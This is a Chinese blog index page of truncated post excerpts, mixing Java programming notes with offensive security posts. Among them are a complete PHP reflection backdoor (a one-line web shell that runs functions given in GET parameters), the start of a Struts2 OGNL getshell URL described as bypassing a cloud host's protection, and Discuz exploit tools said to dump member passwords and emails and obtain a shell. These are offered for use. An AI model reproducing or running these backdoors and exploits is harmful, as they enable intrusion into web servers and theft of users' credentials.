java socket 长连接read阻塞问题

yzmm
639 阅读

解决的方法有3个 : 1 约定发送的数据长度,比如 http的 keepAlive 就是必须依赖这个的 Content-Length 2 设置超时的时间,根据我的经验,只有在Socket级别设置才有效. Socket socket = new Socket(host,port); socket.setSoTimeout(100); // 如果超过100毫秒还没有数据(根据你的实际情况设置延迟,传输...

阅读全文

Jtree

yzmm
1215 阅读

隐藏root:jtree.setRootVisible(false); 2: import java.awt.BorderLayout; import javax.swing.JFrame; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.Defaul...

阅读全文

PHP反射后门

yzmm
1896 阅读

PHP反射后门,之前测试的时候不知道php有个反射function. PHP reflection反射应用 <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?>...

阅读全文

vbs下载并静默安装jre

yzmm
1283 阅读

安装完成后可以回调,替换echo 123456789和pause就行了。 dim path set ws = CreateObject("WScript.Shell") set fso=createobject("scripting.filesystemobject") ''定义安装路径 path = ws.ExpandEnvironme...

阅读全文

google-diff-match-patch

yzmm
606 阅读

一个google多语言diff源码和测试类,支持的语言有:Java, JavaScript, Dart, C++, C#, Objective C, Lua and Python。这货很方便,对比之后还可以生成html的diif代码片段。不是什么新玩意,项目最后更新时间是2012年。 项目地址:https://code.google.com/p/google-diff-match-patch/ 源...

阅读全文

阿里2013技术嘉年华文档和阿里2013 java技术文档

yzmm
595 阅读

百度老删,只能私密分享了。阿里技术嘉年华文档都是公开的:http://adc.alibabatech.org/,内容非常丰富。至于那几个java文档从百度文库找的。 ADC•阿里技术嘉年华于7月13-14日在杭州举行。这是一场专属于<互联网工程师>的“技术盛宴”,倡导<干货分享>。 不仅有高含金量的“主题论坛“, 精彩的”Workshop“、“Tech Show”,还有互动...

阅读全文

Struts2 阿里云主机getshell

yzmm
598 阅读

测试了下阿里云主机,似乎默认带了Struts2命令执行和Getshell的拦截。改了下就不拦了撒。 http://xxx.com/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w%3d%23context.get...

阅读全文

Discuz7.2.java

yzmm
582 阅读

检测shell、获取基本信息、列当前数据下举所有表、统计会员数量、输出前20位会员id+密码+email、getshell import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; imp...

阅读全文

java 实现Discuz UC_KEY GetShell

yzmm
697 阅读

Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byt...

阅读全文